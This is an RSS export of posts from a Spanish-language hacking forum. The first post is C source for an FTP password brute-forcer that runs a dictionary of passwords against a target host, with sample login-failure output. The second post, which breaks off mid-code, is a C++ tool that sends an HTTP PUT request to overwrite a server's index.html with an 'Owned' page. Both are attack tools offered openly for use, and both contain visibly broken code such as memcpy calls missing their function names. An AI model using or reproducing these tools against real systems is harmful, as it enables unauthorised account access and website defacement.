<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title> - Programacion General</title>
<description></description><link>https://foro.undersecurity.net/list.php?19</link><lastBuildDate>Thu, 09 Sep 2010 09:21:34 -0400</lastBuildDate>
<generator>Phorum 5.2.15a</generator>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7957,7957#msg-7957</guid>
<title>FTP Bruter [C] (no replies)</title><link>https://foro.undersecurity.net/read.php?19,7957,7957#msg-7957</link><description><![CDATA[<center class="bbcode"> <b>B</b>rute <b>F</b>orce By X4cks </center><br /><br /><span style="color:red">* </span>Los datos que te mada el servidor los lee para el lado del ojete pero igual se entiende.<br /><span style="color:blue">* </span> Fue creado por mi<br /><span style="color:blue">* </span>Si no les gusta el nombre del programa , cagense<br /><span style="color:blue">* </span>Soy sincero =)<br /><pre class="c bbcode_geshi"><div class="head">Language: C</div><span class="co2">#include &lt;stdio.h&gt;</span>
<span class="co2">#include &lt;stdlib.h&gt;</span>
<span class="co2">#include &lt;string.h&gt;</span>
<span class="co2">#include &lt;unistd.h&gt;</span>
<span class="co2">#include &lt;sys/types.h&gt;</span>
<span class="co2">#include &lt;sys/socket.h&gt;</span>
<span class="co2">#include &lt;netinet/in.h&gt;</span>
<span class="co2">#include &lt;netdb.h&gt;</span>
<span class="co2">#include &lt;sys/stat.h&gt;</span>
<span class="kw4">char</span> cadena<span class="br0">&#91;</span><span class="nu0">100</span><span class="br0">&#93;</span><span class="sy0">;</span>
<span class="kw4">int</span> asd<span class="sy0">;</span>
<span class="kw4">int</span> i<span class="sy0">=</span><span class="nu0">1</span><span class="sy0">;</span>
<span class="kw4">struct</span> cracker <span class="br0">&#123;</span>
	<span class="kw4">char</span> host<span class="br0">&#91;</span><span class="nu0">256</span><span class="br0">&#93;</span><span class="sy0">;</span>
	<span class="kw4">char</span> peticiones<span class="br0">&#91;</span><span class="nu0">1024</span><span class="br0">&#93;</span><span class="sy0">;</span>
<span class="br0">&#125;</span>cracker<span class="sy0">;</span>
<span class="kw4">struct</span> attack <span class="br0">&#123;</span>
	<span class="kw4">char</span> host<span class="br0">&#91;</span><span class="nu0">256</span><span class="br0">&#93;</span><span class="sy0">;</span>
	<span class="kw4">char</span> peticion1<span class="br0">&#91;</span><span class="nu0">256</span><span class="br0">&#93;</span><span class="sy0">;</span>
	<span class="kw4">char</span> peticion2<span class="br0">&#91;</span><span class="nu0">256</span><span class="br0">&#93;</span><span class="sy0">;</span>
	<span class="kw4">char</span> peticion3<span class="br0">&#91;</span><span class="nu0">256</span><span class="br0">&#93;</span><span class="sy0">;</span>
<span class="br0">&#125;</span>attack<span class="sy0">;</span>
<span class="kw4">int</span> main <span class="br0">&#40;</span><span class="kw4">int</span> argc<span class="sy0">,</span> <span class="kw4">char</span> <span class="sy0">*</span>argv<span class="br0">&#91;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
<span class="kw4">struct</span> hostent <span class="sy0">*</span>ad<span class="sy0">;</span>
<span class="kw4">struct</span> sockaddr_in serv<span class="sy0">;</span>
<span class="kw4">char</span> buffer<span class="br0">&#91;</span><span class="nu0">8000</span><span class="br0">&#93;</span><span class="sy0">;</span>
<span class="kw4">int</span> bytes_read<span class="sy0">,</span> s1<span class="sy0">;</span>
<span class="kw4">int</span> i<span class="sy0">=</span><span class="nu0">0</span><span class="sy0">;</span>
bzero<span class="br0">&#40;</span><span class="sy0">&amp;</span><span class="br0">&#40;</span>attack<span class="br0">&#41;</span><span class="sy0">,</span><span class="nu0">3</span><span class="br0">&#41;</span><span class="sy0">;</span>
bzero<span class="br0">&#40;</span><span class="sy0">&amp;</span><span class="br0">&#40;</span>cracker<span class="br0">&#41;</span><span class="sy0">,</span><span class="nu0">2</span><span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
<span class="kw1">if</span> <span class="br0">&#40;</span>argc <span class="sy0">&lt;</span> <span class="nu0">4</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
	<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;%s &lt;host&gt;  &lt;diccionario&gt; &lt;user&gt;<span class="es1">\n</span>&quot;</span> <span class="sy0">,</span> argv<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy0">;</span>
	<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;AVISO: El diccionario debe estar creado.<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
	exit<span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span>
	<span class="br0">&#125;</span>
<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a> <span class="br0">&#40;</span>
<span class="st0">&quot;<span class="es1">\n</span> ##   #### ###  ####   <span class="es1">\n</span>&quot;</span>
<span class="st0">&quot;#  #  ##   #  #  #       <span class="es1">\n</span>&quot;</span>
<span class="st0">&quot;####    ## #  #  ####  <span class="es1">\n</span>&quot;</span>
<span class="st0">&quot;#  #  ###  ###   #      <span class="es1">\n</span>&quot;</span>
<span class="st0">&quot;#####################&quot;</span>
<span class="st0">&quot;<span class="es1">\n</span>Si no te gusta el nombre ,cagate<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
FILE <span class="sy0">*</span>diccionario <span class="sy0">=</span> fopen <span class="br0">&#40;</span>argv<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> <span class="sy0">,</span> <span class="st0">&quot;r&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="kw1">if</span> <span class="br0">&#40;</span>diccionario<span class="br0">&#41;</span>
<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a> <span class="br0">&#40;</span>
<span class="st0">&quot;<span class="es1">\n</span><span class="es1">\n</span>#####################<span class="es1">\n</span>&quot;</span>
<span class="st0">&quot;#Fichero : Existente#<span class="es1">\n</span>&quot;</span>
<span class="st0">&quot;#####################<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="kw1">else</span> <span class="br0">&#123;</span>
	<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a> <span class="br0">&#40;</span><span class="st0">&quot;No existe el archivo ... madefaca!<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
	<span class="kw1">return</span> <span class="nu0">1</span><span class="sy0">;</span>
<span class="br0">&#125;</span>
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw4">sizeof</span><span class="br0">&#40;</span>argv<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#41;</span> <span class="sy0">&gt;=</span> <span class="nu0">256</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
exit<span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="br0">&#125;</span>
&nbsp;
memcpy<span class="br0">&#40;</span>attack.<span class="me1">host</span> <span class="sy0">,</span> argv<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="sy0">,</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span>argv<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span>
ad<span class="sy0">=</span>gethostbyname<span class="br0">&#40;</span>argv<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
<span class="kw1">if</span> <span class="br0">&#40;</span>ad <span class="sy0">==</span> NULL <span class="br0">&#41;</span> <span class="br0">&#123;</span>
	<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a> <span class="br0">&#40;</span><span class="st0">&quot;[-]error gethostbyname<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
	exit<span class="br0">&#40;</span><span class="sy0">-</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="sy0">;</span>
	<span class="br0">&#125;</span>
&nbsp;
	s1 <span class="sy0">=</span> socket<span class="br0">&#40;</span>AF_INET<span class="sy0">,</span> SOCK_STREAM <span class="sy0">,</span> <span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
	<span class="kw1">if</span> <span class="br0">&#40;</span>s1 <span class="sy0">==</span> <span class="sy0">-</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a> <span class="br0">&#40;</span><span class="st0">&quot;[-]error al abrir el socket<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
	<span class="br0">&#125;</span>
&nbsp;
serv.<span class="me1">sin_family</span><span class="sy0">=</span>AF_INET<span class="sy0">;</span>
serv.<span class="me1">sin_port</span><span class="sy0">=</span>htons<span class="br0">&#40;</span><span class="nu0">21</span><span class="br0">&#41;</span><span class="sy0">;</span>
serv.<span class="me1">sin_addr</span><span class="sy0">=</span> <span class="sy0">*</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">struct</span> in_addr <span class="sy0">*</span><span class="br0">&#41;</span> ad<span class="sy0">-&gt;</span>h_addr<span class="br0">&#41;</span><span class="sy0">;</span>
bzero<span class="br0">&#40;</span><span class="sy0">&amp;</span><span class="br0">&#40;</span>serv.<span class="me1">sin_zero</span><span class="br0">&#41;</span><span class="sy0">,</span><span class="nu0">8</span><span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
	<span class="kw1">if</span> <span class="br0">&#40;</span>connect<span class="br0">&#40;</span>s1<span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">struct</span> sockaddr<span class="sy0">*</span><span class="br0">&#41;</span><span class="sy0">&amp;</span>serv<span class="sy0">,</span><span class="kw4">sizeof</span><span class="br0">&#40;</span><span class="kw4">struct</span> sockaddr<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">==-</span><span class="nu0">1</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
	<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a> <span class="br0">&#40;</span><span class="st0">&quot;error : conecting <span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
	<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a> <span class="br0">&#40;</span><span class="st0">&quot;[+]Conectando ... <span class="es1">\n</span><span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
	memcpy<span class="br0">&#40;</span>cracker.<span class="me1">host</span> <span class="sy0">,</span> <span class="st0">&quot;Host: &quot;</span> <span class="sy0">,</span> <span class="nu0">6</span><span class="br0">&#41;</span><span class="sy0">;</span>
	<span class="br0">&#125;</span>
&nbsp;
<span class="br0">&#40;</span>cracker.<span class="me1">host</span> <span class="sy0">+</span> <span class="nu0">6</span> <span class="sy0">,</span> attack.<span class="me1">host</span> <span class="sy0">,</span> strlen<span class="br0">&#40;</span>attack.<span class="me1">host</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="br0">&#40;</span>cracker.<span class="me1">host</span> <span class="sy0">+</span> strlen<span class="br0">&#40;</span>cracker.<span class="me1">host</span><span class="br0">&#41;</span><span class="sy0">,</span> <span class="st0">&quot;<span class="es1">\r</span><span class="es1">\n</span>&quot;</span><span class="sy0">,</span><span class="nu0">2</span><span class="br0">&#41;</span><span class="sy0">;</span>
<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a> <span class="br0">&#40;</span><span class="st0">&quot;Leyendo el diccionario : %s<span class="es1">\n</span><span class="es1">\n</span>&quot;</span> <span class="sy0">,</span> argv<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="kw1">while</span> <span class="br0">&#40;</span><span class="sy0">!</span>feof<span class="br0">&#40;</span>diccionario<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
i<span class="sy0">=</span><span class="nu0">0</span><span class="sy0">;</span>
sprintf<span class="br0">&#40;</span>attack.<span class="me1">peticion1</span> <span class="sy0">,</span> <span class="st0">&quot;USER %s<span class="es1">\r</span><span class="es1">\n</span>&quot;</span><span class="sy0">,</span> argv<span class="br0">&#91;</span><span class="nu0">3</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy0">;</span>
sprintf<span class="br0">&#40;</span>attack.<span class="me1">peticion2</span> <span class="sy0">,</span> <span class="st0">&quot;PASS %s<span class="es1">\r</span><span class="es1">\n</span>&quot;</span> <span class="sy0">,</span> fgets<span class="br0">&#40;</span>cadena <span class="sy0">,</span> <span class="nu0">100</span> <span class="sy0">,</span> diccionario<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span>
<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a> <span class="br0">&#40;</span><span class="st0">&quot;<span class="es1">\n</span>!Comando !: %s&quot;</span><span class="sy0">,</span> attack.<span class="me1">peticion1</span><span class="br0">&#41;</span><span class="sy0">;</span>
<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a> <span class="br0">&#40;</span><span class="st0">&quot;<span class="es1">\n</span>!Comando !: %s&quot;</span><span class="sy0">,</span> attack.<span class="me1">peticion2</span><span class="br0">&#41;</span><span class="sy0">;</span>
sleep <span class="br0">&#40;</span><span class="nu0">10</span><span class="br0">&#41;</span><span class="sy0">;</span>
send <span class="br0">&#40;</span>s1<span class="sy0">,</span> attack.<span class="me1">peticion1</span> <span class="sy0">,</span> strlen<span class="br0">&#40;</span>attack.<span class="me1">peticion1</span><span class="br0">&#41;</span><span class="sy0">,</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span>
send <span class="br0">&#40;</span>s1<span class="sy0">,</span> attack.<span class="me1">peticion2</span> <span class="sy0">,</span> strlen<span class="br0">&#40;</span>attack.<span class="me1">peticion2</span><span class="br0">&#41;</span><span class="sy0">,</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
bytes_read<span class="sy0">=</span>recv<span class="br0">&#40;</span>s1<span class="sy0">,</span> buffer <span class="sy0">,</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span>buffer<span class="br0">&#41;</span> <span class="sy0">,</span> <span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span>
<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a> <span class="br0">&#40;</span><span class="st0">&quot;Server Message: %s&quot;</span> <span class="sy0">,</span> buffer<span class="br0">&#41;</span><span class="sy0">;</span>
bytes_read<span class="sy0">=</span>recv<span class="br0">&#40;</span>s1<span class="sy0">,</span> buffer <span class="sy0">,</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span>buffer<span class="br0">&#41;</span> <span class="sy0">,</span> <span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span>
<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a> <span class="br0">&#40;</span><span class="st0">&quot;Server Message: %s&quot;</span> <span class="sy0">,</span> buffer<span class="br0">&#41;</span><span class="sy0">;</span>
bytes_read<span class="sy0">=</span>recv<span class="br0">&#40;</span>s1<span class="sy0">,</span> buffer <span class="sy0">,</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span>buffer<span class="br0">&#41;</span> <span class="sy0">,</span> <span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span>
<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a> <span class="br0">&#40;</span><span class="st0">&quot;Server Mensaje: %s&quot;</span> <span class="sy0">,</span> buffer<span class="br0">&#41;</span><span class="sy0">;</span>
<span class="br0">&#125;</span>
<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a> <span class="br0">&#40;</span><span class="st0">&quot;[*] Brute : Finish<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
close<span class="br0">&#40;</span>s1<span class="br0">&#41;</span><span class="sy0">;</span>
exit<span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="br0">&#125;</span></pre>
[/code]<br /><br />Aqui un ejemplo de como funciona<br /><pre class="bbcode">Comando : PASS aaa

Server Message: 220 (vsFTPd 2.0.1)
Server Message: 331 Please specify the password.
Server Mensaje: 530 Login incorrect.
 password.

Comando : USER admin

Comando : PASS abc

Server Message: 530 Please login with USER and PASS.
Server Message: 331 Please specify the password.
S.
Server Mensaje: 530 Login incorrect.
 password.
S.

Comando : USER admin

Comando : PASS academia

Server Message: 530 Please login with USER and PASS.
Server Message: 331 Please specify the password.
S.
Server Mensaje: 530 Login incorrect.
 password.
S.</pre>
Si no les gusta se pueden ir ...<br /><b>B</b>ytez]]></description>
<dc:creator>xacks</dc:creator>
<category>Programacion General</category><pubDate>Mon, 06 Sep 2010 09:12:18 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7913,7913#msg-7913</guid>
<title>HTTP PUT [Http Hacking] - Sockets Stream (no replies)</title><link>https://foro.undersecurity.net/read.php?19,7913,7913#msg-7913</link><description><![CDATA[<pre class="cpp bbcode_geshi"><div class="head">Language: C++</div><span class="co2">#include &lt;stdio.h&gt;</span>
<span class="co2">#include &lt;stdlib.h&gt;</span>
<span class="co2">#include &lt;string.h&gt;</span>
<span class="co2">#include &lt;unistd.h&gt;</span>
<span class="co2">#include &lt;sys/types.h&gt;</span>
<span class="co2">#include &lt;sys/socket.h&gt;</span>
<span class="co2">#include &lt;netinet/in.h&gt;</span>
<span class="co2">#include &lt;netdb.h&gt;</span>
<span class="co2">#include &lt;sys/stat.h&gt;</span>
<span class="kw4">struct</span> http <span class="br0">&#123;</span>
	<span class="kw4">char</span> get<span class="br0">&#91;</span><span class="nu0">1024</span><span class="br0">&#93;</span><span class="sy4">;</span>
	<span class="kw4">char</span> host<span class="br0">&#91;</span><span class="nu0">256</span><span class="br0">&#93;</span><span class="sy4">;</span>
	<span class="kw4">char</span> browser<span class="br0">&#91;</span><span class="nu0">31</span><span class="br0">&#93;</span><span class="sy4">;</span>
	<span class="kw4">char</span> accept<span class="br0">&#91;</span><span class="nu0">43</span><span class="br0">&#93;</span><span class="sy4">;</span>
	<span class="kw4">char</span> lang<span class="br0">&#91;</span><span class="nu0">22</span><span class="br0">&#93;</span><span class="sy4">;</span>
	<span class="kw4">char</span> charset<span class="br0">&#91;</span><span class="nu0">29</span><span class="br0">&#93;</span><span class="sy4">;</span>
<span class="br0">&#125;</span>http<span class="sy4">;</span>
&nbsp;
<span class="kw4">int</span> main <span class="br0">&#40;</span><span class="kw4">int</span> argc , <span class="kw4">char</span> <span class="sy2">*</span>argv<span class="br0">&#91;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw4">struct</span> hostent <span class="sy2">*</span>ad<span class="sy4">;</span>
	<span class="kw4">struct</span> sockaddr_in serv<span class="sy4">;</span>
	<span class="kw4">int</span> s1<span class="sy4">;</span>
	<span class="kw4">int</span> bytes_read<span class="sy4">;</span>
	<span class="kw4">char</span> patch<span class="br0">&#91;</span><span class="nu0">1024</span><span class="br0">&#93;</span><span class="sy4">;</span>
<span class="kw4">struct</span> vuln<span class="br0">&#123;</span>
	<span class="kw4">char</span> host<span class="br0">&#91;</span><span class="nu0">256</span><span class="br0">&#93;</span><span class="sy4">;</span>
<span class="br0">&#125;</span>vuln<span class="sy4">;</span>
<span class="kw4">struct</span> put <span class="br0">&#123;</span>
<span class="kw4">char</span> cl<span class="br0">&#91;</span><span class="nu0">256</span><span class="br0">&#93;</span><span class="sy4">;</span>
<span class="kw4">char</span> contenido<span class="br0">&#91;</span><span class="nu0">256</span><span class="br0">&#93;</span><span class="sy4">;</span>
<span class="br0">&#125;</span>put<span class="sy4">;</span>
bzero<span class="br0">&#40;</span><span class="sy3">&amp;</span><span class="br0">&#40;</span>http<span class="br0">&#41;</span>,<span class="nu0">6</span><span class="br0">&#41;</span><span class="sy4">;</span>
bzero<span class="br0">&#40;</span><span class="sy3">&amp;</span><span class="br0">&#40;</span>vuln<span class="br0">&#41;</span>,<span class="nu0">1</span><span class="br0">&#41;</span><span class="sy4">;</span>
bzero<span class="br0">&#40;</span><span class="sy3">&amp;</span><span class="br0">&#40;</span>put<span class="br0">&#41;</span>,<span class="nu0">2</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">char</span> buffer<span class="br0">&#91;</span><span class="nu0">8000</span><span class="br0">&#93;</span><span class="sy4">;</span>
<span class="kw1">if</span> <span class="br0">&#40;</span>argc <span class="sy1">&lt;</span> <span class="nu0">2</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span>
<span class="kw3">printf</span> <span class="br0">&#40;</span><span class="st0">&quot;Usage: %s &lt;host&gt; <span class="es1">\n</span>&quot;</span>,argv<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw3">exit</span> <span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy4">;</span><span class="br0">&#125;</span>
	<span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw3">sizeof</span><span class="br0">&#40;</span>argv<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy1">&gt;=</span><span class="nu0">256</span><span class="br0">&#41;</span> <span class="kw3">exit</span><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy4">;</span>
	<span class="kw3">memcpy</span><span class="br0">&#40;</span>vuln.<span class="me1">host</span> , argv<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> , <span class="kw3">sizeof</span><span class="br0">&#40;</span>argv<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp;
ad<span class="sy1">=</span>gethostbyname<span class="br0">&#40;</span>argv<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw1">if</span> <span class="br0">&#40;</span>ad<span class="sy1">==</span><span class="kw2">NULL</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw3">printf</span> <span class="br0">&#40;</span><span class="st0">&quot;error gethostbyname<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
	<span class="kw3">exit</span> <span class="br0">&#40;</span><span class="sy2">-</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="br0">&#125;</span>
s1 <span class="sy1">=</span> socket <span class="br0">&#40;</span>AF_INET , SOCK_STREAM , <span class="nu0">0</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw1">if</span> <span class="br0">&#40;</span>s1 <span class="sy1">==</span> <span class="sy2">-</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw3">printf</span> <span class="br0">&#40;</span><span class="st0">&quot;Error opening socket<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="br0">&#125;</span>
serv.<span class="me1">sin_family</span><span class="sy1">=</span>AF_INET<span class="sy4">;</span>
serv.<span class="me1">sin_port</span><span class="sy1">=</span>htons<span class="br0">&#40;</span><span class="nu0">80</span><span class="br0">&#41;</span><span class="sy4">;</span>
serv.<span class="me1">sin_addr</span><span class="sy1">=</span> <span class="sy2">*</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">struct</span> in_addr <span class="sy2">*</span><span class="br0">&#41;</span> ad<span class="sy2">-</span><span class="sy1">&gt;</span>h_addr<span class="br0">&#41;</span><span class="sy4">;</span>
bzero<span class="br0">&#40;</span><span class="sy3">&amp;</span><span class="br0">&#40;</span>serv.<span class="me1">sin_zero</span><span class="br0">&#41;</span>,<span class="nu0">8</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw1">if</span> <span class="br0">&#40;</span>connect<span class="br0">&#40;</span>s1, <span class="br0">&#40;</span><span class="kw4">struct</span> sockaddr<span class="sy2">*</span><span class="br0">&#41;</span><span class="sy3">&amp;</span>serv,<span class="kw3">sizeof</span><span class="br0">&#40;</span><span class="kw4">struct</span> sockaddr<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy1">==</span><span class="sy2">-</span><span class="nu0">1</span><span class="br0">&#41;</span>
	<span class="kw3">printf</span> <span class="br0">&#40;</span><span class="st0">&quot;error : conecting <span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw3">printf</span> <span class="br0">&#40;</span><span class="st0">&quot;[*]Conectando...<span class="es1">\n</span><span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw3">memcpy</span> <span class="br0">&#40;</span>http.<span class="me1">browser</span>, <span class="st0">&quot;User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8<span class="es1">\r</span><span class="es1">\n</span>&quot;</span>, <span class="nu0">97</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw3">memcpy</span> <span class="br0">&#40;</span>http.<span class="me1">accept</span>, <span class="st0">&quot;Accept: text/html<span class="es1">\r</span><span class="es1">\n</span>&quot;</span>, <span class="nu0">17</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw3">memcpy</span> <span class="br0">&#40;</span>http.<span class="me1">lang</span>, <span class="st0">&quot;Accept-Language: es<span class="es1">\r</span><span class="es1">\n</span>&quot;</span>, <span class="nu0">19</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw3">memcpy</span> <span class="br0">&#40;</span>http.<span class="me1">charset</span>, <span class="st0">&quot;Accept-Charset: iso-8859-1<span class="es1">\r</span><span class="es1">\n</span>&quot;</span>, <span class="nu0">28</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw3">printf</span><span class="br0">&#40;</span><span class="st0">&quot;[+]Iniciando el ataque...<span class="es1">\n</span><span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw3">memcpy</span><span class="br0">&#40;</span>http.<span class="me1">host</span> , <span class="st0">&quot;Host: &quot;</span> , <span class="nu0">6</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="br0">&#40;</span>http.<span class="me1">host</span> <span class="sy2">+</span> <span class="nu0">6</span> , vuln.<span class="me1">host</span> , <span class="kw3">strlen</span><span class="br0">&#40;</span>vuln.<span class="me1">host</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="br0">&#40;</span>http.<span class="me1">host</span> <span class="sy2">+</span> <span class="kw3">strlen</span><span class="br0">&#40;</span>http.<span class="me1">host</span><span class="br0">&#41;</span>, <span class="st0">&quot;<span class="es1">\r</span><span class="es1">\n</span>&quot;</span>,<span class="nu0">2</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw3">printf</span><span class="br0">&#40;</span><span class="st0">&quot;[+]HTTP Hacking in process...<span class="es1">\n</span><span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw3">memcpy</span><span class="br0">&#40;</span>buffer , <span class="st0">&quot;PUT /index.html HTTP/1.0<span class="es1">\n</span>&quot;</span> , <span class="kw3">sizeof</span><span class="br0">&#40;</span>buffer<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw3">memcpy</span><span class="br0">&#40;</span>put.<span class="me1">cl</span>, <span class="st0">&quot;Content-Lenght: 14<span class="es1">\n</span>&quot;</span>, <span class="kw3">strlen</span><span class="br0">&#40;</span>put.<span class="me1">cl</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw3">memcpy</span><span class="br0">&#40;</span>put.<span class="me1">contenido</span>, <span class="st0">&quot;&lt;h1&gt;Owned&lt;/h1&gt;<span class="es1">\n</span>&quot;</span>, <span class="kw3">sizeof</span><span class="br0">&#40;</span>put.<span class="me1">contenido</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy4">;</span>
send <span class="br0">&#40;</span>s1, buffer, <span class="kw3">strlen</span><span class="br0">&#40;</span>buffer<span class="br0">&#41;</span>, <span class="nu0">0</span><span class="br0">&#41;</span><span class="sy4">;</span>
send <span class="br0">&#40;</span>s1, put.<span class="me1">cl</span>, <span class="kw3">strlen</span><span class="br0">&#40;</span>put.<span class="me1">cl</span><span class="br0">&#41;</span>, <span class="nu0">0</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw3">printf</span> <span class="br0">&#40;</span><span class="st0">&quot;[Enviando Contenido]<span class="es1">\n</span><span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
